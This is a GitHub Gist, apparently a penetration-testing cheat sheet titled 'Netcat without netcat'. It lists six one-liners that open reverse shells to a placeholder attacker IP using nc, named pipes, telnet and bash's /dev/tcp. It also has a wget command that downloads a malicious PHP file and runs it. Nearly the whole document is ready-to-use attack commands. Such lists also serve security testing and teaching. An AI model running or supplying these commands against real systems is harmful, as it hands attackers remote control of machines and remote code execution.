Forked from sckalath/netcat_reverse_shell_backpipe
Created
September 20, 2016 22:44
-
-
Save waywardsun/1bc68f1d8ecf2b50668e38aed76ad1d9 to your computer and use it in GitHub Desktop.
Netcat without netcat
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#1 | |
nc <attacker_ip> <port> -e /bin/bash | |
#2 | |
mknod backpipe p; nc <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe | |
#3 | |
/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1 | |
#4 | |
mknod backpipe p; telnet <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe | |
#5 | |
telnet <attacker_ip> <1st_port> | /bin/bash | telnet <attacker_ip> <2nd_port> | |
#7 | |
wget -O /tmp/bd.php <url_to_malicious_file> && php -f /tmp/bd.php |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment